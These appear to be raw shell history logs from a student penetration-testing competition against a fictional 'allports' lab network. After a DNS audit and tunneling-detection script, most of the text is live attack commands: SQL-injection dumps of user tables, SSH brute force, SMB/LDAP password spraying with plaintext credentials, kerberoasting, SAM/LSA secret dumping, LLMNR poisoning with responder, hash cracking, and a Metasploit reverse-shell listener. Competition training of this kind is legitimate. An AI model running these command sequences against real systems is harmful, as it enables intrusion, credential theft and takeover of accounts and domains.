\
echo -e "\n=== A record for apt-dc-01 ==="\
dig @$NS apt-dc-01.allports.local A +short\
\
echo -e "\n=== _msdcs zone checks ==="\
dig @$NS _msdcs.allports.local SOA +noall +answer\
dig @$NS _msdcs.allports.local NS +noall +answer\
dig @$NS _ldap._tcp.dc._msdcs.allports.local SRV +short\
\
echo -e "\n=== PTR / reverse checks ==="\
dig @$NS -x 10.0.1.6 +short\
dig @$NS 6.1.0.10.in-addr.arpa PTR +short\
dig @$NS 1.0.10.in-addr.arpa SOA +noall +answer\
\
echo -e "\n=== AXFR (zone transfer test) ==="\
dig @$NS allports.local AXFR +noall +answer +tcp\
\
echo -e "\n=== Recursion test (resolves external domain) ==="\
dig @$NS google.com A +short\
\
echo -e "\n=== DNS version (CHAOS) check ==="\
dig @$NS version.bind CH TXT +short\
\
echo -e "\n=== Final SOA (for serial) ==="\
dig @$NS allports.local SOA +noall +answer\
dig @<10.0.1.6> <DOMAIN> TXT +short\
#!/bin/bash\
# Adjust interface and capture file as needed\
IFACE="eth0"             # <-- change to your capture interface (e.g., eth0, ens33)\
PCAP="/tmp/dns_capture.pcap"\
TEXT="/tmp/dns_queries.txt"\
TOP="/tmp/dns_top.txt"\
LONG="/tmp/dns_long.txt"\
HIGHENT="/tmp/dns_high_entropy.txt"\
\
# 1) Capture 5 minutes of DNS traffic (UDP+TCP port 53). Ctrl-C stops early.\
echo "[*] Starting capture on $IFACE (DNS UDP+TCP port 53) -> $PCAP (5m default)"\
timeout 300 tcpdump -i "$IFACE" -s 0 -w "$PCAP" port 53 2>/dev/null || true\
echo "[*] Capture complete: $PCAP"\
\
# 2) Extract DNS queries (names) with tshark (requires tshark)\
echo "[*] Extracting queries/responses to $TEXT"\
tshark -r "$PCAP" -Y "dns.qry.name or dns.resp.name" -T fields -e frame.time_epoch -e ip.src -e ip.dst -e dns.qry.name -e dns.resp.name -E separator=, 2>/dev/null | sed '/^$/d' > "$TEXT"\
\
# 3) Top queried domains\
echo "[*] Top queried domains (by frequency):"\
awk -F, '{ if($4!="") print tolower($4); else if($5!="") print tolower($5) }' "$TEXT" \\
  | sed 's/\.$//' \\
  | sort | uniq -c | sort -nr > "$TOP"\
cat "$TOP" | head -n 50\
echo "Top list saved to $TOP"\
\
# 4) Find long DNS labels/responses - may indicate large TXT or encoded payloads\
echo "[*] Finding long label/response strings (length > 60 chars) ..."\
awk -F, '{ if(length($4)>60) print $0; else if(length($5)>60) print $0 }' "$TEXT" > "$LONG"\
echo "Long entries (if any) saved to $LONG"\
cat "$LONG" | head -n 50\
\
# 5) Heuristic: detect high-entropy (base64-like) labels in queries (likely tunneling)\
echo "[*] Scanning for base64-like/high-entropy labels (A-Za-z0-9+/=) ..."\
# extract individual labels and test with regex: long label with base64 alphabet\
awk -F, '{ name=($4!=""?$4:$5); if(name!="") print name }' "$TEXT" \\
  | sed 's/\.$//' \\
  | tr '.' '\n' \\
  | awk 'length($0)>20' \\
  | egrep -o '[A-Za-z0-9+/=]{20,}' \\
  | sort | uniq -c | sort -nr > "$HIGHENT"\
echo "High-entropy candidates:"\
cat "$HIGHENT" | head -n 40\
echo "Saved to $HIGHENT"\
\
# 6) Quick decode attempt for the top candidate (do NOT auto-run unknown data, just show attempt)\
TOPCAND=$(awk '{print $2}' "$HIGHENT" | head -n1)\
if [ -n "$TOPCAND" ]; then\
  echo -e "\n[*] Top candidate label: $TOPCAND"\
  echo -n "$TOPCAND" | sed 's/-//g' | base64 --decode 2>/dev/null | head -c 400 || echo "[*] decode failed or non-printable"\
fi\
\
echo "[*] Done. Inspect $PCAP (Wireshark), $TOP, $LONG, $HIGHENT for suspicious patterns."\
ls
cd ..
ls
cd ..
ls
cd tmp
ls
NS=10.0.1.6\
\
# 1) Query TXT for suspicious-looking high-frequency domains found earlier\
dig @$NS suspicious-domain.example TXT +short\
\
# 2) Query for long TXT on common zones (example generic tests)\
dig @$NS allports.local TXT +short\
dig @$NS _msdcs.allports.local TXT +short\
\
# 3) Lookup CNAMEs for any subdomain you suspect (replace <sub>)\
dig @$NS <sub>.allports.local CNAME +short\
\
# 4) Test ANY (some servers refuse ANY; still useful)\
dig @$NS allports.local ANY +noall +answer\
\
# 5) Check for repeated NXDOMAINs on a suspect domain to see if attacker is enumerating\
dig @$NS some-random-domain-you-saw.example A +norecurse +noall +answer\


_raw: : 1760825316:0;docker run -it -p 9072:80 ghcr.io/gchq/cyberchef:latest


_raw: : 1760825288:0;docker run -it -p 8080:9072 ghcr.io/gchq/cyberchef:latest


_raw: : 1760825279:0;docker run -it -p 8080:80 ghcr.io/gchq/cyberchef:latest


_raw: docker run -it -p 8080:80 ghcr.io/gchq/cyberchef:latest


_raw: : 1760825246:0;docker run -it -p 8080:80 ghcr.io/gchq/cyberchef:latest


_raw: : 1760825224:0;mysql -u admin -h 10.0.1.15 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw: : 1760825218:0;mysql -u root -h 10.0.1.15 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw: : 1760825215:0;mysql -u root -h 10.0.1.15 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"\


_raw:
sudo apt install flameshot
flameshot
flameshot -q
flameshot &
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.14:5001/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.14:5001/FUZZ -fw 5
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.14:5001/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -u http://10.0.1.14:5001/FUZZ -fw 5
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://10.0.1.14:5001/FUZZ -fw 5
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://10.0.1.14:5001/FUZZ -fw 5 -rate 2
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://10.0.1.14:5001/FUZZ -fw 5 -rate 100
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://10.0.1.14:5001/FUZZ -fw 5 -rate 8
nc 10.0.1.10 6768
dig prod.allports.tours @10.0.1.6
dig axfr allports.local @10.0.1.6
dig axfr allports.tours @10.0.1.6
dig afxr allports.tours @10.0.1.6
dig afxr allports.local @10.0.1.6
dig afxr prod.allports.tours @10.0.1.6
dig allports.tour @10.0.1.1
dig allports.tours @10.0.1.1
dig allports.tours @10.0.1.6
dig hostmaster.allports.tours @10.0.1.6
nc 10.0.1.10 6768
curl https://10.0.1.99/ -H "Host: something.rooms.allports.tours"
curl https://10.0.1.99/ -H "Host: something.rooms.allports.tours" -k
curl https://10.0.1.99/ -H "Host: something.rooms.allports.tours/" -k
sudo nano /etc/hosts
curl https://something.rooms.allports.tours/
curl https://something.rooms.allports.tours/ -k
curl https://1.rooms.allports.tours/ -k
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://10.0.1.99/
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://10.0.1.99/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u https://10.0.1.99/FUZZ/


_raw: : 1760825199:0;mysql -u root -h 10.0.1.15 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw:
ip a
dig --hellp
dig prod.allports.local
man dig
dig @10.0.1.6 prod.allports.local
sudo apt update && upgrade
sudo apt upgrade
sqlmap --v
man sqlmap
sudo nmap -sC -sV 10.0.1.19 -o Host19Nmap.txt
sudo nmap -sC -sV 10.0.1.15 -o Host19Nmap.txt
ls
mkdir pentest
ls
mv Host19Nmap.txt pentest
ls
man sqlmap
cat Host19Nmap.txt
cd pentest
ls
cat Host19Nmap.txt
man sqlmap
nikto -h
nikto -h http://http://10.0.1.15 -port 8080 -0 nikto15.txt
nikto -h http://http://10.0.1.15 -port 8080 -o nikto15.txt
nikto -h http://10.0.1.15 -port 8080 -o nikto15.txt
nikto -h http://10.0.1.15:8080 -o nikto15.txt
ls
cat nikto15.txt
man sqlmap
sqlmap -u "http://10.0.1.15:8080/" --batch --dbs \
sqlmap -u "http://10.0.1.15:8080/index.php?id=1" --batch --dbs \
ls
cat nikto15.txt
cd /usr/share/wordlists
ls
cd sqlmap.txt
cat sqlmap.txt
ls
file dirb
cd /
ls
cd home
ls
cd pentester
l
scd pentest
cd pentest
clear
dirb http://10.0.1.15:8080 /usr/share/wordlists/dirb/common.txt -t 50
dirb http://10.0.1.15:8080/ /usr/share/wordlists/dirb/common.txt -t 50
sqlmap -u "http://10.0.1.15:8080/index.php?id=1" --batch --dbs \
sudo nmap -sC -sV 10.0.1.99 -o Host99Nmap.tx
ls
cat Host19Nmap.txt
searchsploit MySQL5.7.44
sudo msfdb init
searchsploit MySQL5.7.44
msfconsole


_raw:
mysql -h 10.0.1.15 -u root@localhost -p
man sqlmap
sqlmap -u "http://10.0.1.15:8080/page.php?id=1" -T users -C username,password --dump --wordlist=/path/to/wordlist.txt\
sqlmap -u "http://10.0.1.15:8080/page.php?id=1" -T users -C username,password --dump --wordlist=/usr/share/wordlists/mysql.txt
sqlmap -u "http://10.0.1.15:8080/page.php?id=1" -T users -C username,password --dump --wordlist=/usr/share/wordlists/sqlmap.txt
sqlmap -u "http://10.0.1.15:8080/page.php?id=1" -T users -C username,password --dump --wordlist /usr/share/wordlists/sqlmap.txt
man sqlmap
sqlmap -u "http://10.0.1.15:8080/page.php?id=1" -T users -C username,password --dump --current-user
sqlmap -u "http://10.0.1.15:8080/" -T users -C username,password --dump --current-user
sqlmap -u "http://10.0.1.15:8080/index.php?id=1" -T users -C username,password --dump --current-user
ls
cat host19Nmap.txt
cat Host19Nmap.txt
searchsploit apache httpd 2.4
msfconsole


_raw: : 1760825180:0;mysql -u admin -h 10.0.1.15 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw:
ip a
ls
cat Host19Nmap.txt
searchsploit php 5.6.40
msfconsole


_raw:
nc -v 10.0.1.15 8080
curl -I http://10.0.1.15:8080
ls
dig --h
dig -help
man dig
dig @10.0.1.15 chat.allports.com
dig @10.0.1.15 prod.allports.local
dig @10.0.1.15
dig prod.allports.local
dig prod.allports.local A
dig prod.allports.local NS
dig NS prod.allports.local
dig soa prod.allports.local
dig a.root.servers.net
man dnsenum
dnsenum prod.allports.local
dnsenum --help
dig a.root.servers.net
dig @ns1.eodns.com prod.allports.local axfr
dig @ns1.eondns.com prod.allports.local axfr
dig @ns1.eondns.com prod.allports.local
dig @ns1.eondns.com prod.allports.local axfr
dig +short NS prod.allports.local
dig NS prod.allports.local
sudo dpkg -i Nessus-<version>-deb10_amd64.deb\
sudo dpkg -i Nessus-10.8.6-deb10_amd64.deb\
ls
cat Host19Nmap.txt
searchsploit openssh 8.9
searchexploit
searchsploit mysql
msfdb
msfconsole
cd /usr/share/wordlists
ls
cat sqlmap.txt
enum4linux -a 10.0.1.15
enum4linux -a 10.0.1.20
enum4linux --help
enum4linux -a 10.0.1.99
dig NS 10.0.1.6
dig AAAA 10.0.1.6
dig --help
man dig
dirb 10.0.1.15:8081
dirb http://10.0.1.15:8081


_raw: : 1760825155:0;mysql -u admin -h 10.0.1.99 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw: : 1760825125:0;mysql -u root -h 10.0.1.99 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw: : 1760825066:0;mysql -u admin -h 10.0.1.99 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw: : 1760825054:0;mysql -u username  -h 10.0.1.99 --ssl-verify-server-cert=FALSE -p -e "SELECT * FROM mysql.users"


_raw:
ls
git clone github.com/national-cptc-team-tools/university-of-north-georgia
git clone https://github.com/nationalcptc-teamtools/University-of-North-Georgia
cd ..
ls
cd ..
ls
cat password.txt
ls
cd Downloads
ls
cd ..
cd Desktop
ls
cd gettoterminal
ls
cd University-of-North-Georgia
ls
cd scripts
ls
./starting.sh 10.0.1.1
chmod +x starting.sh
./starting.sh 10.0.1.1
ls
chmod +x *
ls
./starting.sh 10.0.1.1
./starting.sh 10.0.1.6
sudo responder -i eth0
sudo responder -I eth0


_raw:
dirsearch
dirsearch -u 10.0.1.11:80
dirsearch -u 10.0.1.15:8080
hydra
gunzip /usr/share/wordlists/rockyou.txt.gz .
sudo gunzip /usr/share/wordlists/rockyou.txt.gz .
ls
ls /usr/share/wordlists
mv /usr/share/wordlists/rockyou.txt .
sudo mv /usr/share/wordlists/rockyou.txt .
sudo cp /usr/share/wordlists/rockyou.txt ./rockyou.txt
ls
less rockyou.txt
hydra
hydra -P rockyou.txt -l cmiller ssh://10.0.1.99
hydra -P rockyou.txt -l bfinn ssh://10.0.1.99
hydra -P rockyou.txt -l bfinn ssh://10.0.1.15


_raw:
mysql -h 10.0.1.15 -u boatgps
mysql -h 10.0.1.15 -u boatgps -p
mysql -h 10.0.1.15 -u boatgps
mysql -h 10.0.1.15 -u boatgps -p
nmap 10.0.1.10
ssh root@10.0.1.10
nmap 10.0.1.254
nmap 10.0.1.1
nmap 10.0.1.1 -O
nmap 10.0.1.254 -O
sudo nano /etc/hosts
hydra -P rockyou.txt -l jsmith 10.0.1.14
hydra -P rockyou.txt -l jsmith ssh://10.0.1.14
hydra -P rockyou.txt -l bfinn ssh://10.0.1.14
nmap 10.0.1.0-50 -O -p 80,443,389
nmap 10.0.1.15 --script="safe"
nmap 10.0.1.254 --script="safe"
nmap 10.0.1.254 -p-
dirsearch 10.0.1.30:8096
dirsearch -u 10.0.1.30:8096
ssh jellyfin@10.0.1.30
dirsearch -u 10.0.1.14
nmap 10.0.1.151-200 -O -P 80,443,389
nmap 10.0.1.151-200 -O -p 80,443,389
nmap 10.0.1.151-200
nmap 10.0.1.99 -sV
nmap 10.0.1.6 -sV
nmap 10.0.1.10 -sV
nmap 10.0.1.11 -sV
nmap 10.0.1.11 --script='safe'
nmap 10.0.1.11
nmap 10.0.1.15 -p 35892
nmap 10.0.1.14
ssh 10.0.1.99
ssh root@10.0.1.99
nmap 10.0.1.99 --script="safe"
dirsearch 10.0.1.14:5001
dirsearch -u 10.0.1.14:5001
dirsearch -u 10.0.1.99:8080
dirsearch -u 10.0.1.15:8080
touch check_ssh_vuln.py
nano check_ssh_vuln.py
python check_ssh_vuln.py ip 10.0.1.30
python check_ssh_vuln.py ip=10.0.1.30
nano check_ssh_vuln.py
nmap 10.0.1.30
python check_ssh_vuln.py ip=10.0.1.30
python check_ssh_vuln.py ip=10.0.1.15
python check_ssh_vuln.py ip=10.0.1.30
nmap 10.0.1.30
nano check_ssh_vuln.py
nmap 10.0.1.30 -sV
python check_ssh_vuln.py ip=10.0.1.30 --port
python check_ssh_vuln.py ip=10.0.1.30 --port 22
python check_ssh_vuln.py --port 22 10.0.1.30
python check_ssh_vuln.py --port 22 10.0.1.15
python check_ssh_vuln.py --port 22 10.0.1.30
python check_ssh_vuln.py --port 22 10.0.1.14
python check_ssh_vuln.py --port 22 10.0.1.11
python check_ssh_vuln.py --port 22 10.0.1.10
python check_ssh_vuln.py --port 22 10.0.1.30
msfdb init
sudo msfdb init
msfconsole
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {10.0.1.30}; set LPORT 9999; exploit -j"
ip a
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {10.0.254.204}; set LPORT 9999; exploit -j"
msfconsole
python check_ssh_vuln.py --port 22 10.0.1.99
nmap 10.0.1.0/24 -p-
nmap 10.0.1.0/24 -p- -sV
nmap 10.0.1.11 --script='safe'
nmap 10.0.1.0/24 -p- -sV
nmap 10.0.1.0/24 -p- -sV > nmap.txt
ncat 10.0.1.10 6768
nmap 10.0.1.15 -sV
mysql -h 10.0.1.15 -u boatgps -p
mysql -h 10.0.1.15 -u boatgps -p --skip-ssl-verify-server-cert
ssh root@10.0.1.11
sudo nano /etc/hosts


_raw: : 1760824663:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u dcarter -p


_raw: : 1760824646:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u bfinn -p


_raw:
man smtp-user-enum
smtp-user-enum -t 10.0.1.6 -U /usr/share/seclists
smtp-user-enum -t 10.0.1.6
smtp-user-enum -t 10.0.1.6 -U /usr/share/wordlists/amass/all.txt
smtp-user-enum -t 10.0.1.6 -U /usr/share/wordlists/legion/snmp-default.txt
smtp-user-enum -t 10.0.1.6 -U /usr/share/wordlists/metasploit/unix_users.txt
nslookup chat.allports.tours


_raw: : 1760824609:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u cmiller -p


_raw:
ls
medusa
medusa -h 10.0.1.15 -U windows_users_fr.txt -P /usr/share/wordlists/rockyou.txt -M ssh
clear
ssh rose.davis@10.0.1.10
clear
nikto -h http://10.0.1.14
curl -h https://10.0.1.14
clear
ssh rdavis@10.0.1.30
ssh rdavis@10.0.1.10
clear
nano xml_to_csv.py
ls
sudo chmod +x xml_to_csv.py
ls
clear
cd Documents
ls
cd
mv xml_to_csv.py /home/pentester/Documents
ls
cd Documents
ls
clear
python xml_to_csv.py traceroute_scan.xml traceroute.csv
ls
cat traceroute.csv
clear
nano traceroute.csv


_raw:
nmap 10.0.1.0/24
nmap -p- 10.0.1.0/24 --min-rate 10000
locate gvm
locate gvm | grep txt
locate gvm | grep *.txt
locate gvm | grepopt
locate gvm | grep opt
dig ANY @10.0.1.6 allports.local
dig MX @10.0.1.6 allports.local
dig A @10.0.1.6 allports.local
dig TXT @10.0.1.6 allports.local
dig axfr  @10.0.1.6
dig NS allports.local
dig A allports.local
locate seclist
locate rockyou
locate seclist
cd Downloads
ll
export IP= 10.0.1.6'
export IP= 10.0.1.6
export IP=10.0.1.6


_raw:
export IP=10.0.1.6
nxc smb $IP/24
nxc smb $IP -u '' -p ''
nxc smb $IP -u '' -p '' --user
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'a' -p '' --users
nxc ldap $IP -u 'a' -p '' --groups
nxc smb $IP -u 'Guest' -p '' --shares
nxc smb $IP --rid-brute 10000
nxc smb $IP -u '' -p '' --rid-brute 10000
nxc smb $IP -u 'james' -p 'rosdav50'
nxc smb $IP -u 'james.poerter' -p 'rosdav50'
nxc smb $IP -u 'james.porter' -p 'rosdav50'
nxc smb $IP -u 'rose' -p 'rosdav50'
nxc smb $IP -u 'rose.davis' -p 'rosdav50'
nxc smb $IP -u 'rose.davis' -p 'rosdav50' -d apt-dc-01.allports.tour
nxc smb $IP -u 'rose.davis' -p 'rosdav50' -d apt-dc-01.allports.tours
nxc ldap $IP -u 'rose.davis' -p 'rosdav50'
nxc smb $IP -u 'rose.davis' -p 'rosdav50' -d APT-DC-01.allports.tours
nxc ldap $IP -u 'rose.davis' -p 'rosdav50' -d APT-DC-01.allports.tours
nxc ldap $IP -u 'rdavis' -p 'rosdav50' -d APT-DC-01.allports.tours
nxc ldap $IP -u 'rdavis' -p 'rosdav50' -d APT-DC-01.allports.tours --groupss
nxc ldap $IP -u 'rdavis' -p 'rosdav50' -d APT-DC-01.allports.tours --groups
nxc smb $IP -u 'rdavis' -p 'rosdav50'
nxc smb $IP -u 'rdavis' -p 'rosdav50' --users
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All
nxc ldap $IP -u 'rdavis' -p 'rosdav50' -d APT-DC-01.allports.tours  --bloodhound --collection All
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All --dc-ip $IP
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All --dc-server $IP
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All --dc-server allports.local
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All --dns-server allports.local
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All --dc-ip $IP
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All -L
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --bloodhound --collection All
nxc ldap $IP -u 'rdavis' -p 'rosdav50' -d allports.local --bloodhound --collection All
nxc smb $IP -u 'rdavis' -p 'rosdav50' --shares
nxc smb $IP -u 'rdavis' -p 'rosdav50' --loggedon-users
nxc smb $IP -u 'rdavis' -p 'rosdav50' --local-auth --loggedon-users
nxc winrm $IP -u 'rdavis' -p 'rosdav50'
nxc smb $IP -u 'rdavis' -p 'rosdav50' --kerberoasting output.txt
nxc ldap $IP -u 'rdavis' -p 'rosdav50' --kerberoasting output.txt
ll
mv output.txt ../creds
cd ../creds
john --format:krb5tgs output.txt ../rockyou.txt
john --format=krb5tgs output.txt ../rockyou.txt
hashcat -m 13100 output.txt ../rockyou.txt
cp output.txt /home/pentester/Pictures
ll /home/pentester/Pictures
history |grep bloodhound-python
history | grep "bloodhound-python"


_raw:
nxc smb $IP -u 'REDACTED_EMAIL' -p 'rosdav50'
export IP=10.0.1.6
nxc smb $IP -u 'REDACTED_EMAIL' -p 'rosdav50'
nxc smb $IP -u 'REDACTED_EMAIL' -p 'rosdav50'
cd ../
ll
mkdir creds
cd creds
nano usernames
nano passwords
nxc smb $IP -u 'rdavis2' -p 'rosdav50'
nxc smb $IP -u 'rdavis3' -p 'rosdav50'
nxc smb $IP -u 'rdavis3' -p 'rosdav50' --pass-pol
nxc smb $IP -u 'rdavis' -p 'rosdav50' --pass-pol
nxc smb $IP -u ./usernames -p 'rosdav50'
nxc smb $IP -u ./usernames -p 'Sails@way'
nxc smb $IP -u ./usernames -p /usr/share/wordlists/rockyou.txt.gz
nxc smb $IP -u ./usernames -p ../rockyou.txt
nxc smb $IP -u ./usernames -p ../rockyou.txt --ignore-pw-decoding'
nxc smb $IP -u ./usernames -p ../rockyou.txt --ignore-pw-decoding
nxc smb $IP -u 'rdavis' -p 'rosdav50' --pass-pol
bloodhound-python -u rdavis -d allports.local -ns 10.0.1.6 -c All --zip -o allports-bh.zip
ll


_raw:
ping 10.0.1.6
sudo nano /etc/hosts
sudo apt install dirsearch
cd Desktop/CPTC-9-2
ll
gunzip rockyou.txt.gz
ll


_raw:
sudo nano /etc/hosts
dirsearch -h
ldapsearch -x -H 10.0.1.6 -s base
sudo apt -y install seclists
ldapsearch -x -H 10.0.1.6/24 -s base
cp /usr/share/wordlists/rockyou.txt.gz ./Desktop/CPTC-9-2/
smbclient \\\allports.local\\SYSVOL -u svc_stabilize -p lgyroscope
smbclient \\\allports.local\\SYSVOL -u svc_stabilize -p lgyroscope -I 10.0.1.6
smbclient -L \\\allports.local\\SYSVOL -U svc_stabilize
smbclient -L \\\allports.local -U svc_stabilize
smbclient -L \\\allports.local\\NETLOGON -U svc_stabilize
smbclient -L \\\10.0.1.6\\NETLOGON -U svc_stabilize


_raw:
ll
cd ../
ll
export IP=10.0.1.6
nxc smb $IP -u enum_users.txt -p 'Sails@away'
nmap --script smb-security-mode.nse,smb2-security-mode.nse -p445 $IP
nxc ldap $IP -k --kdcHost APT-DC-01.allports.local -M daclread -o TARGET=svc_stabilize ACTION=read
nxc smb -u svc_stabilize -p 1gyroscope --sam
nxc smb $IP -u svc_stabilize -p 1gyroscope --sam
nxc smb $IP -u svc_stabilize -p 1gyroscope --lsa
nxc ldap $IP -k --kdcHost APT-DC-01.allports.local -M daclread -o TARGET=rdavis ACTION=read
nxc ldap $IP -k --kdcHost APT-DC-01.allports.local -M daclread -o TARGET=REDACTED_EMAIL ACTION=read
smbclient -L //allports.local/SYSVOL -U rdavis%rosdav50
smbclient -L //10.0.1.6/SYSVOL -U rdavis%rosdav50
smbclient -L //10.0.1.6/ -U rdavis%rosdav50
sudo nmap -sU --top-ports 100 10.0.1.0/24 -Pn -oA topUDP-nmap
nmap -sU --top-ports 100 10.0.1.0/24 -Pn -oA topUDP-nmap
sudo gvm-start
locate green
locate greenbone
dirsearch -u http://10.0.1.11 -x 403
dirsearch -u http://10.0.1.14 -x 403
nslookup chat.allports.tour
nslookup chat.allports.tours


_raw:
nxc ldap $IP/24 -u 'svc_stabilize' -p '1gyroscope'
nxc ldap $IP -u 'svc_stabilize' -p '1gyroscope' --admin-count
export IP=10.0.1.6
nxc ldap $IP -u 'svc_stabilize' -p '1gyroscope' --admin-count


_raw:
#nmap -sC -sV -Pn 10.0.1.6 --min-rate -oA DC-nmap
cd nmap
nmap -sC -sV -Pn 10.0.1.6 --min-rate -oA DC-nmap
nmap -sC -sV -Pn 10.0.1.6 -oA DC-nmap
dig -h
nmap -sC -sV -Pn 10.0.1.20 -oA DeckHand01-nmap
nmap -sC -sV -Pn 10.0.1.21 -oA DeckHand02-nmap


_raw: : 1760824383:0;hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824380:0;hashcat -m 1000 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824374:0;hashcat -m 5600 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824363:0;hashcat -m 5600 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824358:0;sudo tcpdump -i any host 10.0.1.15 and port 3306 -c 500 -w /home/kali/recon/mysql/10.0.1.15_mysql.pcap\


_raw: : 1760824353:0;hashcat -m 5600 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824344:0;hashcat -m 1000 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824338:0;sudo tcpdump -i any host 10.0.2.19 and port 3306 -c 500 -w /home/kali/recon/mysql/10.0.2.19_mysql.pcap\


_raw: : 1760824334:0;hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1760824327:0;hashcat -m 1000 -a 0 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1760824312:0;john --format=netntlm hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1760824286:0;john --format=netntlm hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt